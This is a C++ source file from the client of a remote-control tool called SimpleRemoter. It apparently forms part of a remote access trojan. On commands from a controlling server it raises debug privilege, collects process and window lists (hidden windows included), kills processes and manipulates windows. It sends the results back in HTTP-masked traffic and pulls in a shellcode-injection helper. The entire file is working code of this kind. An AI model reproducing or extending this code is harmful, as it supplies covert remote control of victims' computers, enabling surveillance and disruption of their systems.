Files
SimpleRemoter/client/SystemManager.cpp

305 lines
10 KiB
C++
Raw Normal View History

// SystemManager.cpp: implementation of the CSystemManager class.
//
//////////////////////////////////////////////////////////////////////
#include "stdafx.h"
#include "SystemManager.h"
#include "Common.h"
#include <IOSTREAM>
#include <TLHELP32.H>
2019-04-04 16:58:45 +08:00
#ifndef PSAPI_VERSION
#define PSAPI_VERSION 1
#endif
#include <Psapi.h>
#include "ShellcodeInj.h"
#pragma comment(lib,"psapi.lib")
//////////////////////////////////////////////////////////////////////
// Construction/Destruction
//////////////////////////////////////////////////////////////////////
CSystemManager::CSystemManager(IOCPClient* ClientObject,BOOL bHow, void* user):CManager(ClientObject)
{
if (bHow==COMMAND_SYSTEM) {
//进程
SendProcessList();
} else if (bHow==COMMAND_WSLIST) {
//窗口
SendWindowsList();
}
}
VOID CSystemManager::SendProcessList()
{
LPBYTE szBuffer = GetProcessList(); //得到进程列表的数据
if (szBuffer == NULL)
return;
HttpMask mask(DEFAULT_HOST, m_ClientObject->GetClientIPHeader());
m_ClientObject->Send2Server((char*)szBuffer, LocalSize(szBuffer), &mask);
LocalFree(szBuffer);
szBuffer = NULL;
}
void CSystemManager::SendWindowsList()
{
LPBYTE szBuffer = GetWindowsList(); //得到窗口列表的数据
if (szBuffer == NULL)
return;
HttpMask mask(DEFAULT_HOST, m_ClientObject->GetClientIPHeader());
m_ClientObject->Send2Server((char*)szBuffer, LocalSize(szBuffer), &mask);
LocalFree(szBuffer);
}
LPBYTE CSystemManager::GetProcessList()
{
DebugPrivilege(SE_DEBUG_NAME, TRUE); //提取权限
HANDLE hProcess = NULL;
HANDLE hSnapshot = NULL;
PROCESSENTRY32 pe32 = { 0 };
pe32.dwSize = sizeof(PROCESSENTRY32);
char szProcessFullPath[MAX_PATH] = { 0 };
hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
DWORD dwOffset = 0;
DWORD dwLength = 0;
DWORD cbNeeded = 0;
HMODULE hModules = NULL; //进程中第一个模块的句柄
LPBYTE szBuffer = (LPBYTE)LocalAlloc(LPTR, 1024); //暂时分配一下缓冲区
if (szBuffer == NULL)
return NULL;
szBuffer[0] = TOKEN_PSLIST; //注意这个是数据头
dwOffset = 1;
if (Process32First(hSnapshot, &pe32)) { //得到第一个进程顺便判断一下系统快照是否成功
do {
memset(szProcessFullPath, 0, sizeof(szProcessFullPath)); // 清空路径缓冲区
//打开进程并返回句柄
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ,
FALSE, pe32.th32ProcessID); //打开目标进程
if (hProcess != NULL) {
// 优先使用 QueryFullProcessImageName不受32/64位限制
DWORD dwSize = MAX_PATH;
if (!QueryFullProcessImageNameA(hProcess, 0, szProcessFullPath, &dwSize)) {
// 回退到原来的方法
EnumProcessModules(hProcess, &hModules, sizeof(hModules), &cbNeeded);
DWORD dwReturn = GetModuleFileNameExA(hProcess, hModules,
szProcessFullPath,
sizeof(szProcessFullPath));
if (dwReturn == 0) {
strcpy(szProcessFullPath, pe32.szExeFile); // 最后用进程名
}
}
CloseHandle(hProcess); // 关闭进程句柄,防止泄漏
}
else {
// OpenProcess 失败,使用快照中的进程名
strcpy(szProcessFullPath, pe32.szExeFile);
}
BOOL is64Bit = FALSE;
// 重新打开进程检测位数(因为上面已关闭)
hProcess = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, FALSE, pe32.th32ProcessID);
if (hProcess != NULL) {
ShellcodeInj::IsProcess64Bit(hProcess, is64Bit);
CloseHandle(hProcess);
}
const char* arch = is64Bit ? "x64" : "x86";
char exeFile[300];
sprintf(exeFile, "%s:%s", pe32.szExeFile, arch);
//开始计算占用的缓冲区, 我们关心他的发送的数据结构
// 此进程占用数据大小
dwLength = sizeof(DWORD) +
lstrlen(exeFile) + lstrlen(szProcessFullPath) + 2;
// 缓冲区太小,再重新分配下
if (LocalSize(szBuffer) < (dwOffset + dwLength))
szBuffer = (LPBYTE)LocalReAlloc(szBuffer, (dwOffset + dwLength),
LMEM_ZEROINIT | LMEM_MOVEABLE);
//接下来三个memcpy就是向缓冲区里存放数据 数据结构是
//进程ID+进程名+0+进程完整名+0 进程
//因为字符数据是以0 结尾的
memcpy(szBuffer + dwOffset, &(pe32.th32ProcessID), sizeof(DWORD));
dwOffset += sizeof(DWORD);
memcpy(szBuffer + dwOffset, exeFile, lstrlen(exeFile) + 1);
dwOffset += lstrlen(exeFile) + 1;
memcpy(szBuffer + dwOffset, szProcessFullPath, lstrlen(szProcessFullPath) + 1);
dwOffset += lstrlen(szProcessFullPath) + 1;
} while (Process32Next(hSnapshot, &pe32)); //继续得到下一个快照
}
DebugPrivilege(SE_DEBUG_NAME, FALSE); //还原提权
SAFE_CLOSE_HANDLE(hSnapshot); //释放句柄
return szBuffer;
}
CSystemManager::~CSystemManager()
{
Mprintf("系统析构\n");
}
BOOL CSystemManager::DebugPrivilege(const char *szName, BOOL bEnable)
{
BOOL bResult = TRUE;
HANDLE hToken;
TOKEN_PRIVILEGES TokenPrivileges;
//进程 Token 令牌
if (!OpenProcessToken(GetCurrentProcess(),
TOKEN_QUERY | TOKEN_ADJUST_PRIVILEGES, &hToken)) {
bResult = FALSE;
return bResult;
}
TokenPrivileges.PrivilegeCount = 1;
TokenPrivileges.Privileges[0].Attributes = bEnable ? SE_PRIVILEGE_ENABLED : 0;
LookupPrivilegeValue(NULL, szName, &TokenPrivileges.Privileges[0].Luid);
AdjustTokenPrivileges(hToken, FALSE, &TokenPrivileges, sizeof(TOKEN_PRIVILEGES), NULL, NULL);
if (GetLastError() != ERROR_SUCCESS) {
bResult = FALSE;
}
SAFE_CLOSE_HANDLE(hToken);
return bResult;
}
VOID CSystemManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
{
switch(szBuffer[0]) {
case COMMAND_PSLIST: {
SendProcessList();
break;
}
case COMMAND_KILLPROCESS: {
KillProcess((LPBYTE)szBuffer + 1, ulLength - 1);
break;
}
case COMMAND_WSLIST: {
SendWindowsList();
break;
}
case CMD_WINDOW_CLOSE: {
HWND hWnd = *((HWND*)(szBuffer+1));
::PostMessage(hWnd,WM_CLOSE,0,0);
Sleep(100);
SendWindowsList();
break;
}
case CMD_WINDOW_TEST: { //操作窗口
TestWindow(szBuffer+1);
break;
}
default: {
break;
}
}
}
void CSystemManager::TestWindow(LPBYTE szBuffer) //窗口的最大 最小 隐藏都在这里处理
{
DWORD Hwnd;
DWORD dHow;
memcpy((void*)&Hwnd,szBuffer,sizeof(DWORD)); //得到窗口句柄
memcpy(&dHow,szBuffer+sizeof(DWORD),sizeof(DWORD)); //得到窗口处理参数
ShowWindow((HWND__ *)Hwnd,dHow);
//窗口句柄 干啥(大 小 隐藏 还原)
}
VOID CSystemManager::KillProcess(LPBYTE szBuffer, UINT ulLength)
{
HANDLE hProcess = NULL;
DebugPrivilege(SE_DEBUG_NAME, TRUE); //提权
for (int i = 0; i < ulLength; i += 4)
//因为结束的可能个不止是一个进程
{
//打开进程
hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, *(LPDWORD)(szBuffer + i));
//结束进程
TerminateProcess(hProcess, 0);
SAFE_CLOSE_HANDLE(hProcess);
}
DebugPrivilege(SE_DEBUG_NAME, FALSE); //还原提权
// 稍稍Sleep下防止出错
Sleep(100);
}
LPBYTE CSystemManager::GetWindowsList()
{
LPBYTE szBuffer = NULL; //char* p = NULL &p
EnumWindows((WNDENUMPROC)EnumWindowsProc, (LPARAM)&szBuffer); //注册函数
//如果API函数参数当中有函数指针存在
//就是向系统注册一个 回调函数
szBuffer[0] = TOKEN_WSLIST;
return szBuffer;
}
BOOL CALLBACK CSystemManager::EnumWindowsProc(HWND hWnd, LPARAM lParam) //要数据 **
{
DWORD dwLength = 0;
DWORD dwOffset = 0;
DWORD dwProcessID = 0;
LPBYTE szBuffer = *(LPBYTE*)lParam;
char szTitle[1024];
memset(szTitle, 0, sizeof(szTitle));
//得到系统传递进来的窗口句柄的窗口标题
GetWindowText(hWnd, szTitle, sizeof(szTitle));
//这里判断 窗口是否可见 或标题为空
BOOL m_bShowHidden = TRUE;
if (!m_bShowHidden && !IsWindowVisible(hWnd)) {
return true;
}
if (lstrlen(szTitle) == 0)
return true;
// ========== 新增:获取窗口属性 ==========
// 窗口状态
const char* szStatus = "normal";
if (IsIconic(hWnd)) {
szStatus = "minimized";
}
else if (IsZoomed(hWnd)) {
szStatus = "maximized";
}
else if (!IsWindowVisible(hWnd)) {
szStatus = "hidden";
}
// 所属进程ID
DWORD dwPid = 0;
GetWindowThreadProcessId(hWnd, &dwPid);
// 拼接属性到标题末尾
// 格式: 标题|状态|PID|保留1|保留2
// 解析时从末尾按 | 分割,保留字段方便未来扩展
char szTitleWithAttrs[1200];
sprintf(szTitleWithAttrs, "%s|%s|%lu|0|0", szTitle, szStatus, dwPid);
// ========== 新增结束 ==========
//同进程管理一样我们注意他的发送到主控端的数据结构
if (szBuffer == NULL)
szBuffer = (LPBYTE)LocalAlloc(LPTR, 1); //暂时分配缓冲区
if (szBuffer == NULL)
return FALSE;
//[消息][4Notepad.exe\0]
dwLength = sizeof(DWORD) + lstrlen(szTitleWithAttrs) + 1; // 使用新标题
dwOffset = LocalSize(szBuffer); //1
//重新计算缓冲区大小
szBuffer = (LPBYTE)LocalReAlloc(szBuffer, dwOffset + dwLength, LMEM_ZEROINIT | LMEM_MOVEABLE);
if (szBuffer == NULL)
return FALSE;
//下面两个memcpy就能看到数据结构为 hwnd+窗口标题+0
memcpy((szBuffer + dwOffset), &hWnd, sizeof(DWORD));
memcpy(szBuffer + dwOffset + sizeof(DWORD), szTitleWithAttrs, lstrlen(szTitleWithAttrs) + 1); // 使用新标题
*(LPBYTE*)lParam = szBuffer;
return true;
}